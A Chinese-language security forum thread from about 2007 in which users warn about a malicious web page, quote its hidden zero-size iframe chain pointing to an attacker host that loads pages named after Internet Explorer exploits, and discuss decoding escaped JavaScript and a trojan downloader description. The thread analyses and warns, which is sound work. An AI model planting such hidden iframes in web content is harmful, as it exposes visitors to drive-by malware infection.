发一个毒网

allenhippo

hxxp://www.twono.com/htmlnew/Article/dnwd/200607/Article_6985.html

google上查有关远程登录cmd命令的时候无意进取的

开着小红伞弹出无限多窗口，直到ie虚拟内存爆增，慎入。

龙井茶

不敢去

turkey2k6

开着红伞上了,红伞反复报4个病毒,我将那4个病毒的对应下载网页发上来,谁去下?

ALEXBLAIR

这个代码有问题

1. 
   
2. 
   
3. 
   
4. <iframe src="http://hackce.vicp.net/mm/index.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>
   
5. <iframe src="http://hackce.vicp.net/mm/index.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>
   
6. 
   

复制代码

1. 
   
2. http://hackce.vicp.net/mm/index.htm
   
3. 这个里面是这样的：
   
4. <iframe src="macheng.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>
   
5. <iframe src="ms06042.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>
   
6. <iframe src="MS07004.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>
   
7. <iframe src="ms060140.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>
   
8. <iframe src="ms060141.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>
   
9. <iframe src="001.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>
   
10. <iframe src="ms07004cike.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>
    
11. <script language="javascript" type="text/javascript" src="http://js.users.51.la/867179.js"></script>
    
12. <noscript><a href="http://www.51.la/?867179" target="_blank"><img alt="我要啦免费统计" src="http://img.users.51.la/867179.asp" style="border:none" /></a></noscript>
    
13. <iframe src="http://hackce.vicp.net/ads/002.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>
    

复制代码

里面每个网页对应一个漏洞
看名字就知道要打什么补丁了

turkey2k6

弱弱的问下,加密代码如何还原?

ALEXBLAIR

用 JAVA 的document.write(unescape(%1))解密
嫌麻烦可以直接搜索 escape解密

turkey2k6

原帖由 ALEXBLAIR 于 2007-2-13 18:53 发表
用 JAVA 的document.write(unescape(%1))解密
嫌麻烦可以直接搜索 escape解密

多谢,明白了,不过我搜到的都是在线解密,有能下到硬盘用的工具吗?

pamier2001

用FIREFOX进去没反应。。。

yinxuchina

进去就 卡了

yinxuchina

TrojanDownloader.JS.Small.bw“小不点”变种bw是一个用JavaScript语言编写的木马下载器，该木马一般内嵌在恶意网页中。当用户登陆恶意网页后，病毒自动从指定网址下载木马程序，并且在被感染的计算机上自动运行，盗取用户的机密信息。